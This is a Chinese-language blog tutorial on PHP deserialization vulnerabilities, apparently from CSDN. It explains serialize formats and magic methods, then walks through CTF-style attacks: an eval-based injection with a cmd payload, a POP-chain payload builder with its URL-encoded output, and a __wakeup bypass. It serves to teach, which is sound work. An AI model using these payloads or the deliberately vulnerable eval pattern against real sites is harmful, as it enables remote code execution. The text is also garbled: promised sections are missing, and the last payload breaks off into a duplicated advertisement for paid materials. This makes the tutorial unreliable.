php反序列化漏洞(万字详解),零基础入门学习网络安全

先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7

深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
img

正文

五、Pop链的构造

六、绕过

1. __wakeup()方法漏洞

2. O:+6绕过正则

3. 引用

4. 对类属性不敏感

5. 大小S当十六进制绕过

6.php类名不区分大小写

七、字符串逃逸

1.反序列化特点

2.字符串逃逸的成因

3.简单演示

八、session反序列化

1.概述

2.漏洞成因

3.三种格式

九、Phar反序列化

1.概述

2.phar文件结构

3.phar反序列化利用条件

4.phar文件生成脚本

十、原生类利用


一、php面向对象基础

1.面向过程

面向过程是一种以“整体事件”为中心的编程思想,编程的时候把解决问题的步骤分析出来,然后用函数把这些步骤实现,在一步一步的具体步骤中再按顺序调用函数;

2.面向对象

面向对象是一种以“对象”为中心的编程思想,把要解决的问题分解成各个“对象”;对象是一个由信息及对信息进行处理的描述所组成的整体,是对现实世界的抽象;

对象的三个特征:对象的行为,对象的形态,对象的表示

3.类的定义

类是定义了一件事物的抽象特点,它将数据的形式以及这些数据上的操作封装在一起;对象是具有类类型的变量,是对类的实例;

类的定义包括定义类名、定义成员属性、定义成员方法;

内部构成:成员属性(变量)+成员方法(函数)

4.继承

继承性是子类自动共享父类数据结构和方法的机制,是类之间的一种关系;

在定义和实现一个类的时候,可以在一个已经存在的类的基础之上来进行,把一个已经存在的类所定义的内容作为自己的内容,并加入若干新的内容;

父类:一个类被其它类继承,可将该类成为父类,或基类,超类;

子类:一个类继承其他类称为子类,也可称为派生类;

5.类的访问权限修饰符

public:公共的,在类的内部、子类和类的外部中都可以被调用;

protected:受保护的,在类的内部和子类可以被调用,在类的外部不可调用;

private:私有的,只能在类的内部调用,在子类和类的外部不可调用;

二、序列化基础

1.概述

序列化是将对象或数组转化为方便存储、传输的字符串,php使用serialize()函数将对象序列化;

序列化只作用于对象的成员属性,不序列化成员方法;

2.序列化值

各类型值的serialize序列化:

空字符                null                ->                                        N;

整型                   123                ->                                        i:123;

浮点型                1.5                ->                                        d:1.5;

boolean型          true                ->                                        b:1;

boolean型          false              ->                                        b:0;

字符串               “haha”            ->                                        s:4:“haha”;

3.对象序列化
//对象序列化

<?php
class test
{
    private $a1="haha";
    protected $a2="dada";
    public $a3="sasa";
    public $b=true;
    public $c=123;
}
$d=new test();
echo serialize($d);
?>

//输出为:
O:4:"test":5:{s:8:" test a1";s:4:"haha";s:5:" * a2";s:4:"dada";s:2:"a3";s:4:"sasa";s:1:"b";b:1;s:1:"c";i:123;}

//解释:大写字母O表示对象,4是类名长度,test为类名,5表示该类有5个成
//员属性,注意private私有属性序列化的属性名格式为“%00类名%00属性名”,
//%00为空格,如上的“ test a1”,protected受保护属性序列化的属性名格
//式为“%00*%00属性名”,如上的“ * a2”,对于存在这两种类型的成员属性的
//类在写payload时通常会使用urlencode()函数编码;其他都是正常的序列化

Public(公有):被序列化时属性值为:属性名
Protected(受保护):被序列化时属性值为:\x00*\x00属性名
Private(私有):被序列化时属性值为:\x00类名\x00属性名
4.pop链序列化
//pop链序列化

<?php
class test1
{
    public $a="haha";
    public $b=true;
    public $c=123;
}
class test2
{
    public $h="hhh";
    public $d;
}

$m=new test1();
$n=new test2();
$n->d=$m;
echo serialize($n);

?>

//输出:
O:5:"test2":2:{s:1:"h";s:3:"hhh";s:1:"d";O:5:"test1":3:{s:1:"a";s:4:"haha";s:1:"b";b:1;s:1:"c";i:123;}}

//对象的成员属性为另一个对象,序列化值出现如上嵌套
5.数组序列化
//数组序列化

<?php
$ha=array("haha",123,true,"ggg");
echo serialize($ha);
?>

//输出:
a:4:{i:0;s:4:"haha";i:1;i:123;i:2;b:1;i:3;s:3:"ggg";}

//解释:a表示这是一个数组的序列化,成员属性名为数组的下标,格式"i:数组下标;"
//其他与正常序列化一致

三、反序列化

1.概述

反序列化是将序列化得到的字符串转化为一个对象的过程;

反序列化生成的对象的成员属性值由被反序列化的字符串决定,与原来类预定义的值无关;

反序列化使用unserialize()函数将字符串转换为对象,序列化使用serialize()函数将对象转化为字符串;

//反序列化

<?php
class test
{
    public $a="haha";
    public $b=123;
}

$ha='O:4:"test":2:{s:1:"a";s:3:"666";s:1:"b";i:6666;}';
$ha=unserialize($ha)
var_dump($ha);

?>

//输出:
object(test)#1 (2) {
  ["a"]=>
  string(3) "666"
  ["b"]=>
  int(6666)
}


//如上将字符串转换为对象,且对象的值与类预定义的值无关,取决于被反序列化的字符串
2.反序列化漏洞的成因

反序列化过程中unserialize()函数的参数可以控制,传入特殊的序列化后的字符串可改变对象的属性值,并触发特定函数执行代码;

//反序列化漏洞简单案例

<?php
class test
{
    public $a="haha";
    public function display()
    {
        eval($this->a);
    }
}
$cmd=$_GET['cmd'];
//cmd=O:4:"test":1:{s:1:"a";s:10:"phpinfo();";}
$d=unserialize($cmd);
$d->display();

?>

//如上反序列化的内容是GET方法获得的,是可控的,传入上图注释中的cmd
//内容,可实现执行php代码:phpinfo();

四、魔术方法详解

魔术方法是一个预定好的、在特定情况下自动触发的行为方法;

//魔术方法

__construct()       //类的构造函数,创建对象时触发

__destruct()        //类的析构函数,对象被销毁时触发

__call()            //调用对象不可访问、不存在的方法时触发

__callStatic()     //在静态上下文中调用不可访问的方法时触发

__get()            //调用不可访问、不存在的对象成员属性时触发

__set()           //在给不可访问、不存在的对象成员属性赋值时触发

__isset()         //当对不可访问属性调用isset()或empty()时触发

__unset()         //在不可访问的属性上使用unset()时触发

__invoke()        //把对象当初函数调用时触发

__sleep()        //执行serialize()时,先会调用这个方法

__wakeup()       //执行unserialize()时,先会调用这个方法

__toString()     //把对象当成字符串调用时触发

__clone()        //使用clone关键字拷贝完一个对象后触发
//__construct()和__destruct()

<?php
class test
{
    public $a="haha";
    public function __construct()
    {
        echo "已创建--";
    }
    public function __destruct()
    {
        echo "已销毁";
    }
}
$a=new test();

?>

//输出:
已创建--已销毁

//对象被创建时触发__construct()方法,对象使用完被销毁时触发__destruct()方法
//__sleep()和__wakeup()

<?php
class test
{
    public $a="haha";
    public function __sleep()
    {
        echo "使用了serialize()--";
        return array("a");
    }
    public function __wakeup()
    {
        echo "使用了unserialzie()";
    }
}

$a=new test();
$b=serialize($a);
$c=unserialize($b);

?>

//输出:
使用了serialize()--使用了unserialzie()

//对象被序列化时触发了__sleep(),字符串被反序列化时触发了__wakeup()
//__toString()和__invoke()

<?php
class test
{
    public $a="haha";
    public function __toString()
    {
        return "被当成字符串了--";
    }
    public function __invoke()
    {
        echo "被当成函数了";
    }
}

$a=new test();
echo $a;
$a();

?>

//输出:
被当成字符串了--ss被当成函数了

//ehco $a 把对象当成字符串输出触发了__toString(),$a() 把对象当成
//函数执行触发了__invoke()
//__call()和其他魔术方法

<?php
class test
{
    public $h="haha";

    public function __call($arg1,$arg2)
    {
        echo "你调用了不存在的方法";
    }
}

$a=new test();
$a->h();

?>

//输出:
你调用了不存在的方法

//$a->h()调用了不存在的方法触发了__call()方法,其他魔术方法类似不再演示

五、Pop链的构造

//pop简单例题 

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?> NSSCTF{b046d6b0-e1b0-4f26-b54e-acfd4095de65}

分析

w44m类的Getflag方法可以输出flag,而该方法不能自动触发,因此需要考虑如何触发该方法;

可以观察到w33m类的__toString()方法下的代码是可以实现w44m类的Getflag方法调用的,只需令w33m类的属性 w 00 m 为 w 44 m 对象,属性 w00m为w44m对象,属性 w00mw44m对象,属性w22m的值为Getflag;

而w33m类的__toString()方法触发的条件是对象被当成字符串;

可以观察到w22m类的__destruct()方法输出了$w00m属性,只需令此属性值为w33m对象即可;

到此,就把三个类的对象串起来了,下面是payload的构造:

<?php
class w44m
{
    private $admin = 'w44m';
    protected $passwd = '08067';
}
class w22m
{
    public $w00m;
}
class w33m
{
    public $w00m;
    public $w22m="Getflag";
}

$a=new w22m();
$b=new w33m();
$c=new w44m();
$b->w00m=$c;
$a->w00m=$b;

$payload=serialize($a);
echo "?w00m=".urlencode($payload);  //存在private和protected属性要url编码

?>

//输出为:
?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m
%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%
3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00ad
min%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00pas
swd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%
3Bs%3A7%3A%22Getflag%22%3B%7D%7D

六、绕过

1. __wakeup()方法漏洞

存在此漏洞的php版本:php5-php5.6.25、php7-php7.0.10;

调用unserialize()方法时会先调用__wakeup()方法,但是当序列化字符串的表示成员属性的数字大于实际的对象的成员属性数量是时,__wakeup()方法不会被触发,以下的简单例题是__wakeup()方法漏洞的利用:

//__wakeup()方法绕过例题

 <?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{


        public $admin;
        public $passwd;

        public function __construct(){
            $this->admin ="user";
            $this->passwd = "123456";
        }

        public function __wakeup(){
            $this->passwd = sha1($this->passwd);
        }

        public function __destruct(){
            if($this->admin === "admin" && $this->passwd === "wllm"){
                include("flag.php");
                echo $flag;
            }else{
                echo $this->passwd;
                echo "No wake up";
            }
        }
    }

$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);

?> NSSCTF{f7b177f4-8e9c-4154-9134-db0011b3b97a}

分析

只要满足__destruct()方法中的if条件就可以获得flag,构造payload时给对于属性赋值即可;

然而,在反序列化调用unserialize()方法时会触发__wakeup方法,进而改变我们给$passwd属性的赋值,最终导致不满足if条件;

因此需要避免__wakeup方法的触发,这就需要可以利用__wakeup()方法的漏洞,使序列化字符串的表示成员属性的数字大于实际的对象的成员属性数量,如下payload的构造:

<?php
class HaHaHa{
    public $admin="admin";
    public $passwd="wllm";
}

$a=new HaHaHa();

$b=serialize($a);


## 学习路线:

这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:  
 ![在这里插入图片描述](https://img-blog.csdnimg.cn/7a04c5d629f1415a9e35662316578e07.png#pic_center)





**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)**
![img](https://img-blog.csdnimg.cn/img_convert/a7fb74f048f09cb175b93d4e150bdcaf.png)

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

  因此需要避免\_\_wakeup方法的触发,这就需要可以利用\_\_wakeup()方法的漏洞,使序列化字符串的表示成员属性的数字大于实际的对象的成员属性数量,如下payload的构造:



<?php class HaHaHa{ public $admin="admin"; public $passwd="wllm"; } $a=new HaHaHa(); $b=serialize($a); ## 学习路线: 这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容: ![在这里插入图片描述](https://img-blog.csdnimg.cn/7a04c5d629f1415a9e35662316578e07.png#pic_center) **网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。** **需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)** [外链图片转存中...(img-6p1NriQt-1713169017335)] **一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
  • 25
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值